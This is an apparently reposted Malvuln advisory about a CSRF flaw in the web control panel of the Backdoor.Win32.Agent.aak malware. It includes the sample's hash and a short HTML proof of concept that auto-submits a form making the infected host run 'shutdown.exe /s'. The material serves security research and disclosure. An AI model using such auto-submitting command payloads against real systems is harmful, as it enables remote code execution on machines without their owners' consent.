Friday, February 19, 2021

Backdoor.Win32.Agent.aak Code Execution / Cross Site Request Forgery

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/64f2fd4dbd9039e5bc054f475eaa582a_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aak
Vulnerability: Cross Site Request Forgery (CSRF) - Code Execution
Description: Backdoor HTTP server HBKDR v0.3 executes commands on the infected host using an HTML form with POST method. The HTML web form component fails to provide a CSRF security token to verify and process only authorized HTTP POST requests. This allows arbitrary code execution on the infected system by third party attackers if the malware operator visits a malcious webpage or clicks an infected link.
Type: PE32
MD5: 64f2fd4dbd9039e5bc054f475eaa582a
Vuln ID: MVID-2021-0095
Dropped files:
Disclosure: 02/17/2021

Exploit/PoC:
CSRF - issue the shutdown command to kill the infected system by luring the operator to a malicious webpage etc.

"Backdoor_Agent.aak_CSRF_RCE.html"

<form method=post action="http://192.168.1.10:8080/exec.hbd>
<input type=text name=txtExec value="shutdown.exe /s>
<script>document.forms[0].submit()</script>
</form>


Executing shutdown.exe /s...


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated